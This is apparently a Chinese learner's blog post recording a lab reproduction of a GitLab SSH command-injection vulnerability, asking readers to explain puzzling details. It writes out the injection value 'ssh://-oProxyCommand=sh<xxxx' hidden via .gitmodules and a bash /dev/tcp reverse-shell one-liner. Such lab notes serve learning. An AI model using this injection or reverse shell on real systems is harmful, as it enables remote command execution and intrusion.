闲来无事,上i春秋官网做了做几个漏洞复现实验,同时来这里记录一下相关问题(ps:本文只是记录并提问,如果有大佬看见我的问题并有兴趣回答的话小弟感激不尽)。
漏洞原因是未对ssh命令进行严格的过滤,导致可以使用ssh://-oProxyCommand=sh<xxxx(包含所要执行命令的文件)来进行任意命令执行。
通过在.gitmodules生成执行恶意ssh命令的文件来隐藏攻击命令。在这里遇见了第一个问题,i春秋实验中在命令末尾中加了一个wat,但是这个wat的意义作用是什么本人并未看出,查阅资料也未找到答案。

而且在本地直接使用sh命令时,发现sh命令后确实接的必须是存在的文件,可实验中的playload/wat并不存在,真是让本菜鸟百思不得其解。

实验末尾中提到如何使用该漏洞达成反弹shell,本菜鸟略一思索想到,在sh<后的文件中写入反弹shell命令不就行了?真是so easy。然而世事不如意果然十有八九。
写入bash -i >&/dev/tcp/127.0.0.1/7777 0>&1并执行后会报错fd number错误。查阅了好久才发现原来是本地kali系统的sh指向了dash而非bash。使用多行命令修改sh链接指向,并反弹shell。最后本地执行sh命令成功。

兴冲冲的跑去用ssh命令执行一遍,然而发现,失败了QAQ。经过一番研究,发现在本地直接使用ssh -oProxyCommand命令时,貌似只有可弹出代理对象的命令成功执行了(如gnome-terminal弹出shell以及gnome-calculator弹出计算器)。通过sh<xxx读取文件执行命令的方式一直失败。
那么为啥GitLab上使用成功了呢?又回去翻看了一遍教程,发现了这个函数。

GitLab对cmd参数进行了处理,个人猜测可能是此处出了问题,以致于能够成功执行ssh://-oProxyCommand=sh<xxxx。(此处求大佬解释QAQ)
网友评论